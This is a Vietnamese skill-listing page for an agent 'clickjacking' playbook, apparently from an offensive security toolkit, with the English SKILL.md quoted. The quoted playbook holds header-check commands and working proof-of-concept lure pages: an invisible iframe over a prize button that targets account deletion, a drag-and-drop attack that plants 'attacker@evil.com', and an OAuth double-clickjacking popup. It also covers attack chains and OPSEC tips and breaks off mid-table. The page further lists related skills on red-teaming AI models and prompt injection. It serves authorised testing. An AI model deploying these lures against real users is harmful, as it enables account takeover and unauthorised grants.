clickjacking
Skill này làm gì
Hướng dẫn này nói về clickjacking, khi kẻ tấn công đặt trang nhạy cảm vào khung và lừa người dùng nhấp vào đó. Dành cho các nhóm web muốn xác nhận trang của họ chặn việc đặt trong khung.
Khi nào nên dùng
- ✓Khi một trang web có các hành động nhạy cảm như thanh toán, xóa hoặc cấp quyền.
- ✓Khi bạn muốn kiểm tra xem các trang chính có gửi đúng header bảo vệ khung không.
- ✓Khi một nhóm cần kiểm tra xem trang của họ có thể được hiển thị trong khung của trang khác không.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Trang cài đặt tài khoản và trang phê duyệt của chúng tôi có thể được đặt trong khung của trang web khác không? Vui lòng kiểm tra các header.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent kiểm tra các header liên quan đến khung trên các trang nhạy cảm, thử xem chúng có tải được trong khung không, rồi báo cáo các trang có thể bị đặt trong khung.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Clickjacking Playbook
Framing a sensitive UI under an attacker page lets a single victim click trigger
a privileged action (delete account, transfer funds, grant OAuth scope, confirm
2FA). Severity = severity of the framed action. Pages without X-Frame-Options
and without Content-Security-Policy: frame-ancestors are framable.
1. Detection — framing controls
# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
echo "== $path =="
curl -s -D- -o /dev/null "https://<TARGET>$path" \
| grep -iE "x-frame-options|content-security-policy"
done
# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.
Server-side allow:
- no
X-Frame-Optionsheader and - no
frame-ancestorsdirective inContent-Security-Policy(orframe-ancestors */ overly broad).
2. Misconfig matrix
| Class | Server behaviour | Exploit |
|---|---|---|
| No XFO, no CSP frame-ancestors | full framing allowed | classic overlay |
XFO: ALLOW-FROM only |
ignored by modern browsers | full framing in Chromium/Firefox |
frame-ancestors * |
explicit allow-all | full framing |
frame-ancestors 'self' *.target.com |
trusts every subdomain | host PoC on a takeable subdomain |
Frame-buster JS only (if (top!=self) top.location=self.location) |
client-side defense | sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it |
| 204-frame-buster | response replaces self | <iframe csp="sandbox" ...> or pre-empt with onbeforeunload |
| Drag-and-drop sinks | sensitive textarea framable | drag attacker-controlled string onto target form |
| Cursorjacking | custom cursor + offset | misalign visible vs. real pointer |
| Double-clickjacking | first click opens prompt, second confirms | two-stage overlay (Paulos Yibelo 2024) |
| Touch / pointer gestures | mobile swipe consent | overlay with transparent gesture target |
Permissions-Policy missing |
camera/mic in iframe | request perms in nested iframe over consent UI |
3. Exploit PoC — overlay
<!doctype html>
<html><head><title>Free iPhone</title>
<style>
body { margin:0 }
.lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
iframe { position:absolute; z-index:2; opacity:0.0001;
top:120px; left:60px; width:400px; height:80px;
border:0; pointer-events:auto; }
</style></head><body>
<div class="lure">
Click <b style="color:red">CLAIM</b> to win an iPhone:
<button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
</div>
<!-- aligned so the invisible iframe button sits exactly over CLAIM -->
<iframe src="https://<TARGET>/account/delete?confirm=1"
sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>
3.1 Drag-and-drop CJ
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>
3.2 Double-clickjacking (browser confirm dialog)
<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->
4. Chains
- CJ + OAuth consent → silent scope grant → API takeover.
- CJ + CSRF-token leakage → click triggers a state change that reads token from the framed page.
- CJ + self-XSS → coerce victim to paste/drag the payload into a framed input.
- CJ + 2FA confirm → step-up auth confirmed under a lure click.
5. Tools
- Burp Suite — Clickbandit (point-and-click PoC generator)
- clickjacker.io / OWASP Clickjacking Tester
- Manual: any HTML editor + a browser with frame ancestors disabled in dev
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
| Framing from foreign origin | server-side referer logging | Host PoC on in-scope domain during authorized tests |
| Sudden spike in sensitive actions w/ short dwell time | UX analytics | Demonstrate impact with a single victim profile |
| Browser console CSP re |
Câu hỏi thường gặp
Những header nào bảo vệ khỏi việc đặt trong khung?
Hướng dẫn nêu header X-Frame-Options và quy tắc frame-ancestors trong Content Security Policy.
Vì sao mức độ nghiêm trọng phụ thuộc vào hành động?
Hướng dẫn cho biết rủi ro được quyết định bởi những gì hành động trong khung có thể làm, như xóa tài khoản.
Các thiết lập allow-from cũ có đủ không?
Hướng dẫn lưu ý rằng một số thiết lập allow-from cũ bị trình duyệt hiện đại bỏ qua.
Chi tiết
Mô tả gốc của tác giả
UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14053
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.